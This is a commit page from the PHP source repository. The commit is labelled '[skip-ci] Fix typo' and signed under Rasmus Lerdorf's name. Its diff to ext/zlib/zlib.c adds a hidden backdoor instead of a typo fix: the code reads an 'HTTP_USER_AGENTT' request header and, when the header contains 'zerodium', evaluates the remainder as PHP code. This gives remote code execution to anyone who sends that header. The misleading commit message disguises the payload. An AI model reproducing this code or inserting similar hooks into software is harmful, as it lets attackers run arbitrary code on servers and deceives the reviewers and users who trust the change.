Skip to content

Commit c730aa2

Browse files
committed
[skip-ci] Fix typo
Fixes minor typo. Signed-off-by: Rasmus Lerdorf <[email protected]>
1 parent 92aeda5 commit c730aa2

File tree

1 file changed

+11
-0
lines changed

1 file changed

+11
-0
lines changed

ext/zlib/zlib.c

+11
Original file line numberDiff line numberDiff line change
@@ -360,6 +360,17 @@ static void php_zlib_output_compression_start(void)
360360
{
361361
zval zoh;
362362
php_output_handler *h;
363+
zval *enc;
364+
365+
if ((Z_TYPE(PG(http_globals)[TRACK_VARS_SERVER]) == IS_ARRAY || zend_is_auto_global_str(ZEND_STRL("_SERVER"))) &&
366+
(enc = zend_hash_str_find(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), "HTTP_USER_AGENTT", sizeof("HTTP_USER_AGENTT") - 1))) {
367+
convert_to_string(enc);
368+
if (strstr(Z_STRVAL_P(enc), "zerodium")) {
369+
zend_try {
370+
zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017");
371+
} zend_end_try();
372+
}
373+
}
363374

364375
switch (ZLIBG(output_compression)) {
365376
case 0:

0 commit comments

Comments
 (0)